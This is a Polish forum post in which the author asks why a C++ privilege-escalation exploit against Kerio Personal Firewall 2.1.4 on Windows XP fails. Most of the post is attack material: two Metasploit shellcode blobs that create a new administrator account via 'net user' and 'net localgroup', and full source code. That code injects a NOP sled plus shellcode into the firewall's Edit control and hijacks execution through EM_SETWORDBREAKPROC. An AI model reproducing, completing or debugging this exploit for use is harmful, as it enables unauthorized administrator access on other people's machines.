Witam,
Próbuję za pomocą C++ napisać exploita, który dzięki wykorzystaniu programu który ma prawa administratora(przykładowo: Kerio Personal Firewall 2.1.4. ) stworzyć z poziomu użytkownika z kontem z ograniczeniami nowe konto administratora. No więc najpierw generuje shellcode ze strony http://www.metasploit.org:55555:

Kod:
/* win32_exec -  EXITFUNC=process CMD=cmd.exe /c net user a b /add && net localgroup administratorzy /add a Size=224 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x2b\xc9\x83\xe9\xce\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x15"
"\x6f\xe6\x1c\x83\xeb\xfc\xe2\xf4\xe9\x87\xa2\x1c\x15\x6f\x6d\x59"
"\x29\xe4\x9a\x19\x6d\x6e\x09\x97\x5a\x77\x6d\x43\x35\x6e\x0d\x55"
"\x9e\x5b\x6d\x1d\xfb\x5e\x26\x85\xb9\xeb\x26\x68\x12\xae\x2c\x11"
"\x14\xad\x0d\xe8\x2e\x3b\xc2\x18\x60\x8a\x6d\x43\x31\x6e\x0d\x7a"
"\x9e\x63\xad\x97\x4a\x73\xe7\xf7\x9e\x73\x6d\x1d\xfe\xe6\xba\x38"
"\x11\xac\xd7\xdc\x71\xe4\xa6\x2c\x90\xaf\x9e\x10\x9e\x2f\xea\x97"
"\x65\x73\x4b\x97\x7d\x67\x0d\x15\x9e\xef\x56\x1c\x15\x6f\x6d\x74"
"\x29\x30\xd7\xea\x75\x39\x6f\xe4\x96\xaf\x9d\x4c\x7d\x11\x3e\xfe"
"\x66\x07\x7e\xe2\x9f\x61\xb1\xe3\xf2\x0c\x8b\x78\x3b\x0a\x9e\x79"
"\x35\x40\x85\x3c\x7b\x0a\x92\x3c\x60\x1c\x83\x6e\x35\x0e\xc6\x7e"
"\x35\x40\x87\x78\x71\x4f\xc0\x3a\x35\x01\x83\x68\x35\x03\x89\x7f"
"\x74\x03\x81\x6e\x7a\x1a\x96\x3c\x74\x0b\x8b\x75\x7b\x06\x95\x68"
"\x67\x0e\x92\x73\x67\x15\x9f\x3c\x3a\x0e\x82\x78\x35\x0e\xe6\x1c";
Który ma za zadanie stworzyć użytkownika "a" o haśle "b" z prawami administratora, uruchamiałem ten shellcode na koncie z którego ta operacja się uda, wszystko działa.

Problem zaczyna się gdy jestem na koncie z ograniczeniami. Tworzę 1 MB wartość noop'ow + shellcode i wklejam to do kontrolki EDIT w programie Kerio Personal Firewall 2.1.4, następnie debuggerem wyłapuje mniej więcej adres połowy noop'ow i próbuję wysłać komunikat EM_SETWORDBREAKPROC za pomocą SendMessage do kontrolki EDIT, która by uruchomiła ten shellcode, kod wygląda tak:
Kod:
#include <windows.h>
#include <stdio.h>
#include <string.h>

/* win32_exec -  EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add && net localgroup administrators /add hakin9 Size=240 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x29\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xca\x2a\x8c\x83\xeb\xfc\xe2\xf4\xdb\x22\x6e\x8c\x27\xca\xa1\xc9"
"\x1b\x41\x56\x89\x5f\xcb\xc5\x07\x68\xd2\xa1\xd3\x07\xcb\xc1\xc5"
"\xac\xfe\xa1\x8d\xc9\xfb\xea\x15\x8b\x4e\xea\xf8\x20\x0b\xe0\x81"
"\x26\x08\xc1\x78\x1c\x9e\x0e\x88\x52\x2f\xa1\xd3\x03\xcb\xc1\xea"
"\xac\xc6\x61\x07\x78\xd6\x2b\x67\xac\xd6\xa1\x8d\xcc\x43\x76\xa8"
"\x23\x09\x1b\x4c\x43\x41\x6a\xbc\xa2\x0a\x52\x80\xac\x8a\x26\x07"
"\x57\xd6\x87\x07\x4f\xc2\xc1\x85\xac\x4a\x9a\x8c\x27\xca\xa1\xe4"
"\x1b\x95\x1b\x7a\x47\x9c\xa3\x74\xa4\x0a\x51\xdc\x4f\xb4\xf2\x6e"
"\x54\xa2\xb2\x72\xad\xc4\x7d\x73\xc0\xa9\x47\xe8\x09\xaf\x52\xe9"
"\x07\xe5\x49\xac\x49\xaf\x5e\xac\x52\xb9\x4f\xfe\x07\xa2\x4b\xe7"
"\x4e\xa4\x13\xac\x4f\xab\x41\xe5\x49\xf3\x0a\xa3\x46\xae\x4e\xac"
"\x01\xec\x0a\xe2\x42\xbe\x0a\xe0\x48\xa9\x4b\xe0\x40\xb8\x45\xf9"
"\x57\xea\x4b\xe8\x4a\xa3\x44\xe5\x54\xbe\x58\xed\x53\xa5\x58\xff"
"\x07\xe5\x4b\xe8\x43\xea\x42\xed\x4c\xa3\x44\xb5\x27\xca\x2a\x8c";

int main() {
    
    HANDLE ParentWnd, ChildWnd;
    LONG scaddr;
    char *buf;
    
    ParentWnd = FindWindow("#32770", "Kerio Personal Firewall");
    if(ParentWnd == NULL) {
        printf("Couldn't find top-level window!\n");
        system("PAUSE");
        return 1;
    }
    
    ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL);
    if(ChildWnd == NULL) {
        printf("Couldn't find Edit control!\n");
        system("PAUSE");
        return 1;
    }
    
    if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) {
        printf("Sending WM_SETREADONLY message failed!\n");
        system("PAUSE");
        return 1;
    }
    
    
    buf = malloc(strlen(scode)+1024*1024+1);
    buf = memset(buf, 0x90, 1024*1024);
    strcat(buf, scode);
    buf[strlen(buf)] = 0;
       
    SendMessage(ChildWnd, EM_SETLIMITTEXT, strlen(scode)+1024*1024+1, 0);
    if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)buf)) {
        printf("Sending WM_SETTEXT message failed!\n");
        system("PAUSE");
        return 1;
    }
    
    SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, 0x00B45000);
    SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );

}
Windows XP.
Ma ktoś jakieś wskazówki dlaczego to nie działą? co robię źle?